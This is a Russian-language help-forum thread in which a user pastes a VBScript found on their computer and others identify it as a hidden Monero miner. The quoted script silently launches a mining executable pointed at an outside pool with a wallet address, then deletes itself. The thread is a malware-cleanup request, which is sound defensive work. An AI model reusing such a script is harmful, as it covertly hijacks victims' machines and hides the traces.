Непонятная ошибка...

[SVG]

Всем привет!!!
Сегодня вдруг вылезло... см. Снимок...
файлы в папке... см. Снимок2..
Dim oShell
Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run ("wsrss.exe -q -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB.b7a6 607ff26d5a40bc50e95784097722bfd4182f6116c5a5ec0878f8611d8fac.ZW_03 -p x"), 0
Set oShell = Nothing
WScript.Sleep 100
Set mFSO = CreateObject("Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)
хочется понять что это, т.к. на двух других осях этой папки в соответствующем месте нет...

[NickM]

oShell.run ("wsrss.exe »
что за файл и где он лежит?

[Казбек]

xmr-eu.dwarfpool.com:8005 »

Monero (https://dwarfpool.com/xmr)

[SVG]

NickM, нет такого файла... видимо и ошибка из-за этого...
Казбек, а по русски если мона...

[NickM]

Казбек, а по русски если мона... »
Полагаю человек говорит - кто-то скрытно майнить собрался/собирался/майнил.

[Nordek]

SVG, Google (https://www.google.ru/search?q=xmr-eu.dwarfpool.com) см. ссылку: [XMR][ETH][EXP][GRS] Стабильный DwarfPool. - Bits.media.

[SVG]

Полагаю человек говорит - кто-то скрытно майнить собрался/собирался/майнил. »
примерно о том же и подумал от Казбека... но, комп мой и доступа к нему посторонних нет.... однозначно.... и подобным не занимаюсь...

[Vadikan]

Переношу в лечение, делайте логи http://forum.oszone.net/thread-98169.html

[SVG]

Проверил последним (...2349...) SEPом из-под другой оси и... wsvc.exe...
http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2016-121208-2853-99&vid=55865
где "подцепил" - ума не преложу.... KIS 17 молчал как рыба...

[Sandor]

SVG, здравствуйте! Соберите и прикрепите CollectionLog по выше указанной ссылке.